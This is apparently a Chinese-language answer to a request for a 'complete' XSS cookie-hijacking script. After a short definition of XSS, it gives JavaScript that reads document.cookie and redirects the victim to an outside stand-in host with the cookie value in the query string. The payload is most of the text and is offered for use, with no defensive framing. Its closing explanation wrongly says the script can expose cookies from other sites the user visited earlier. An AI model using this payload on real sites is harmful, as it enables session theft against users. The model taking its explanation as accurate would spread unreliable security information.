xss劫持cookie的js脚本 完整的

XSS（Cross-Site Scripting，跨站脚本攻击）是一种常见的Web安全漏洞，通过注入恶意JavaScript代码到用户的浏览器上，黑客可以窃取用户的信息，包括Cookie。Cookie通常是服务器用来跟踪用户状态的小数据块。

一个简单的XSS劫持Cookie的JavaScript脚本示例如下：

// 假设我们已经获取到了用户的Cookie值（假设名为"userCookie"）
var userCookie = document.cookie.split(';').find(cookie => cookie.startsWith('userCookie='));

if (userCookie) {
    // 解析出真正的Cookie值
    var decodedCookie = decodeURIComponent(userCookie.replace(/^userCookie=/, ''));

    // 将Cookie值插入到新的URL查询参数中，劫持用户访问的页面
    window.location.href = 'https://example.com?myCookie=' + encodeURIComponent(decodedCookie);
}

在这个例子中，当用户访问了含有上述脚本的网页，如果他们之前有访问过设置有"name=userCookie"的Cookie的网站，那么他们的Cookie会被添加到新链接的查询参数`myCookie`中，导致Cookie暴露给恶意站点。